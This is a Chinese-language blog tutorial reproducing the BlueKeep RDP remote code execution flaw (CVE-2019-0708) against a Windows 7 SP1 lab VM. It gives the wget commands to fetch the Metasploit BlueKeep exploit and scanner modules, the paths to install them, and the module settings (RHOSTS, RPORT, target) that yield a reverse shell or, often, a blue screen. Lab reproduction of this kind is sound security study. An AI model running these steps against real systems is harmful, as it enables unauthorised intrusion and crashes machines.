• CVE-2019-0708 远程桌面代码执行漏洞复现


    0x01

    首先是靶机,这里的靶机是使用清水表哥提供的win7sp1的系统

    漏洞环境
    使用VM安装Windows7 SP1模拟受害机
    Windows7 SP1下载链接:
    ed2k://|file|cn_windows_7_ultimate_with_sp1_x64_dvd_u_677408.iso|3420557312|B58548681854236C7939003B583A8078|/

    如果用上面的系统,vm虚拟机安装的时候默认是家庭版的,所以在安装的时候要选择一下。
    blob

    安装好如下:

    blob

    0708漏洞利用方式是通过远程桌面端口3389,RDP协议进行攻击的。所以3389端口当然要打开啦。

    blob

    靶机工作完成。


    0x02

    攻击机我这里用的是kali里面的msf,而且msf我以前有卸载了重新安装过。
    所以我先看看我msf安装的路径在哪里。

    find / -name 'metasploit'

    blob

    我的路径是安装在/opt目录下。

    首先,我们需要下载好攻击套件放置文件到msf的相应文件夹(如果已存在同名文件,直接覆盖即可)

    wget https://raw.githubusercontent.com/rapid7/metasploit-framework/edb7e20221e2088497d1f61132db3a56f81b8ce9/lib/msf/core/exploit/rdp.rb

    wget https://github.com/rapid7/metasploit-framework/raw/edb7e20221e2088497d1f61132db3a56f81b8ce9/modules/auxiliary/scanner/rdp/rdp_scanner.rb

    wget https://github.com/rapid7/metasploit-framework/raw/edb7e20221e2088497d1f61132db3a56f81b8ce9/modules/exploits/windows/rdp/cve_2019_0708_bluekeep_rce.rb

    wget https://github.com/rapid7/metasploit-framework/raw/edb7e20221e2088497d1f61132db3a56f81b8ce9/modules/auxiliary/scanner/rdp/cve_2019_0708_bluekeep.rb

    blob

    下载下来后,直接复制到对应的路径。

    cp rdp.rb /opt/metasploit-framework/embedded/framework/lib/msf/core/exploit/

    cp rdp_scanner.rb /opt/metasploit-framework/embedded/framework/modules/auxiliary/scanner/

    如果这里没有rdp目录,就用mkdir命令创建一个rdp目录
    cp cve_2019_0708_bluekeep_rce.rb /opt/metasploit-framework/embedded/framework/modules/exploits/rdp/

    cp cve_2019_0708_bluekeep.rb /opt/metasploit-framework/embedded/framework/modules/auxiliary/scanner/rdp/

    blob

    这时启动msf。

    blob

    更新一下msf

    blob

    更新以后使用reload_all重新加载0708rdp利用模块

    blob

    use exploit/rdp/cve_2019_0708_bluekeep_rce

    blob

    主要设置的参数有RHOSTS / RPORT / target
    * RHOSTS 靶机ip
    * RPORT rdp端口
    * target ID数字(可选为0-4)设置受害机机器架构

    0x03

    攻击成功如下图

    blob

    但这是要看运气的,十次里面可能有一两次才会反弹shell,大部分只会造成蓝屏。

    参考连接:http://www.nmd5.com/?p=409

  • 相关阅读:
    redis存储session配制方法
    thanks使用注意事项;
    mongodb sort limit和skip用法
    mongoose的用法(注:连接数据库)
    mongoose查询特定时间段文档的方法
    webworker的使用案例
    js 传参数
    redis.config翻译
    Oracle keep详解
    自学之笔记总结
  • 原文地址:https://www.cnblogs.com/-chenxs/p/11491900.html
Copyright © 2020-2023  润新知